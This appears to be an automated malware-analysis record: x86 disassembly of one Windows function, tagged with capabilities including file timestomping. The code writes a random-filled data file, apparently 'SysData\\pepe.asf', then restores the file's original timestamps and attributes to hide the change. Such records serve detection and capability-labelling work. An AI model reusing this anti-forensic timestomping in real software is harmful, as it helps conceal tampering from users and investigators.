Function at 0x408d00
Capabilities:
Get file attributes
Set file attributes
Timestomp file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4210de
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0xd4
mov eax, dword [0x42b730]
xor eax, ebp
mov dword [ebp - 0x7c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
cmp dword [0x428004], 0
jne 0x408d45
mov eax, 0x64
jmp 0x409311
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov dword [ebp - 0x18], edx
lea ecx, [ebp - 0x30]
call dword [sym.imp.mfc90.dll_Ordinal_316]
mov dword [ebp - 4], 0
mov dword [ebp - 0x2c], 0
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x34], eax
lea ecx, [ebp - 0x34]
push ecx
call fcn.004080b0
test eax, eax
jne 0x408db4
cmp dword [section..data], 1
jne 0x408d8f
push str.9038
call fcn.004100f0
add esp, 4
mov dword [ebp - 0xb8], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call dword [sym.imp.mfc90.dll_Ordinal_601]
mov eax, dword [ebp - 0xb8]
jmp 0x409311
push 0x42b860
push str._sSysDatapepe.asf
lea edx, [ebp - 0x30]
push edx
call dword [sym.imp.mfc90.dll_Ordinal_2539]
add esp, 0xc
mov dword [ebp - 0x1c], 0
lea ecx, [ebp - 0x3c]
call sub.mfc90.dll_Ordinal_320
mov byte [ebp - 4], 1
mov byte [ebp - 4], 2
mov dword [ebp - 0x40], 0
lea ecx, [ebp - 0x50]
call sub.mfc90.dll_Ordinal_404
mov dword [ebp - 0xe0], eax
mov byte [ebp - 4], 3
push 0
push 0x40
lea ecx, [ebp - 0x30]
call dword [sym.imp.mfc90.dll_Ordinal_910]
push eax
lea ecx, [ebp - 0x50]
call sub.mfc90.dll_Ordinal_5520
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0
jne 0x408e73
cmp dword [section..data], 1
jne 0x408e73
push str.041110_19
call fcn.004100f0
add esp, 4
mov dword [ebp - 0xbc], 0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x50]
call sub.mfc90.dll_Ordinal_663
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x3c]
call fcn.00410430
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call dword [sym.imp.mfc90.dll_Ordinal_601]
mov eax, dword [ebp - 0xbc]
jmp 0x409311
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x58]
push ecx
lea edx, [ebp - 0x64]
push edx
mov eax, dword [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
jne 0x408ee0
cmp dword [section..data], 1
jne 0x408ea3
push str.9048
call fcn.004100f0
add esp, 4
mov dword [ebp - 0xc0], 0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x50]
call sub.mfc90.dll_Ordinal_663
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x3c]
call fcn.00410430
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call dword [sym.imp.mfc90.dll_Ordinal_601]
mov eax, dword [ebp - 0xc0]
jmp 0x409311
lea ecx, [ebp - 0x50]
call sub.mfc90.dll_Ordinal_1555
lea ecx, [ebp - 0x30]
call dword [sym.imp.mfc90.dll_Ordinal_910]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x5c], eax
push 0x20
lea ecx, [ebp - 0x30]
call dword [sym.imp.mfc90.dll_Ordinal_910]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0x3001
lea ecx, [ebp - 0x30]
call dword [sym.imp.mfc90.dll_Ordinal_910]
push eax
lea ecx, [ebp - 0x50]
call sub.mfc90.dll_Ordinal_5520
push 0x8040
call dword [sym.imp.MSVCR90.dll_malloc]
add esp, 4
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x70], ecx
push 0
call fcn.004052c0
add esp, 4
push eax
call dword [sym.imp.MSVCR90.dll_srand]
add esp, 4
mov dword [ebp - 0x74], 0
jmp 0x408f63
mov edx, dword [ebp - 0x74]
add edx, 1
mov dword [ebp - 0x74], edx
cmp dword [ebp - 0x74], 0x8000
jge 0x408f82
call dword [sym.imp.MSVCR90.dll_rand]
mov ecx, dword [ebp - 0x70]
mov byte [ecx], al
mov edx, dword [ebp - 0x70]
add edx, 1
mov dword [ebp - 0x70], edx
jmp 0x408f5a
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x2c]
mov dword [0x42b998], eax
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x18]
lea eax, [edx + ecx + 0x1c21]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
mov dword [ecx + 0x3cf1], edx
mov eax, dword [ebp - 0x18]
not eax
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + 0x3db9], eax
lea ecx, [ebp - 0x30]
call dword [sym.imp.mfc90.dll_Ordinal_3178]
push eax
lea ecx, [ebp - 0x30]
call dword [sym.imp.mfc90.dll_Ordinal_910]
push eax
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.MSVCR90.dll_memmove]
add esp, 0xc
push 0x8000
mov eax, dword [ebp - 0x1c]
push eax
call fcn.004105a0
add esp, 8
lea ecx, [ebp - 0x50]
call fcn.00410440
push 0x8000
mov ecx, dword [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x50]
call sub.mfc90.dll_Ordinal_6793
lea ecx, [ebp - 0x50]
call sub.mfc90.dll_Ordinal_1555
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
push 0
push 2
lea ecx, [ebp - 0x30]
call dword [sym.imp.mfc90.dll_Ordinal_910]
push eax
lea ecx, [ebp - 0x50]
call sub.mfc90.dll_Ordinal_5520
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x58]
push ecx
lea edx, [ebp - 0x64]
push edx
mov eax, dword [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileTime]
mov dword [ebp - 0x40], eax
lea ecx, [ebp - 0x50]
call sub.mfc90.dll_Ordinal_1555
mov ecx, dword [ebp - 0x5c]
push ecx
lea ecx, [ebp - 0x30]
call dword [sym.imp.mfc90.dll_Ordinal_910]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call fcn.00402ef0
call fcn.00403490
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x50]
call sub.mfc90.dll_Ordinal_663
jmp 0x4090cd
mov dword [ebp - 4], 1
jmp 0x4090fd
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x3c]
call fcn.00410430
cmp dword [0x42b990], 0
je 0x409137
mov dword [ebp - 0xc8], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call dword [sym.imp.mfc90.dll_Ordinal_601]
mov eax, dword [ebp - 0xc8]
jmp 0x409311
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x14], ecx
lea edx, [ebp - 0x14]
push edx
call fcn.00407d10
test eax, eax
jg 0x409176
mov dword [ebp - 0xcc], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call dword [sym.imp.mfc90.dll_Ordinal_601]
mov eax, dword [ebp - 0xcc]
jmp 0x409311
cmp dword [ebp - 0x20], 0
jne 0x4091a1
mov dword [ebp - 0xd0], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call dword [sym.imp.mfc90.dll_Ordinal_601]
mov eax, dword [ebp - 0xd0]
jmp 0x409311
call fcn.00405680
test eax, eax
jne 0x4091e5
cmp dword [section..data], 1
jne 0x4091c0
push str.9040_11
call fcn.004100f0
add esp, 4
mov dword [ebp - 0xd4], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call dword [sym.imp.mfc90.dll_Ordinal_601]
mov eax, dword [ebp - 0xd4]
jmp 0x409311
mov dword [ebp - 0x28], 0x42b7cf
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
and edx, 0xff000000
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x18]
sub eax, 0x1c21
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
and ecx, 0xffffff
or ecx, dword [ebp - 0x24]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
mov dword [edx], eax
cmp dword [0x42b99c], 0
jne 0x4092f1
push 0x33
push 0x42b7a0
lea ecx, [ebp - 0xb0]
push ecx
call sub.MSVCR90.dll_memcpy
add esp, 0xc
push 0x33
lea edx, [ebp - 0xb0]
push edx
call fcn.0040fcb0
add esp, 8
mov dword [0x42b850], 0
mov byte [0x42b84a], 0
lea eax, [ebp - 0xb0]
mov dword [0x42b85c], eax
xor ecx, ecx
mov word [0x42b848], cx
mov edx, 0x33
mov word [0x42b84c], dx
mov dword [ebp - 0xb4], 0
call fcn.004106a0
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0
je 0x4092dd
cmp dword [section..data], 1
jne 0x4092bb
push str.9040
call fcn.004100f0
add esp, 4
mov dword [ebp - 0xd8], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call dword [sym.imp.mfc90.dll_Ordinal_601]
mov eax, dword [ebp - 0xd8]
jmp 0x409311
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x18]
push eax
call fcn.00407df0
add esp, 8
mov dword [ebp - 0xdc], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call dword [sym.imp.mfc90.dll_Ordinal_601]
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x7c]
xor ecx, ebp
call fcn.0041fff8
mov esp, ebp
pop ebp
ret 4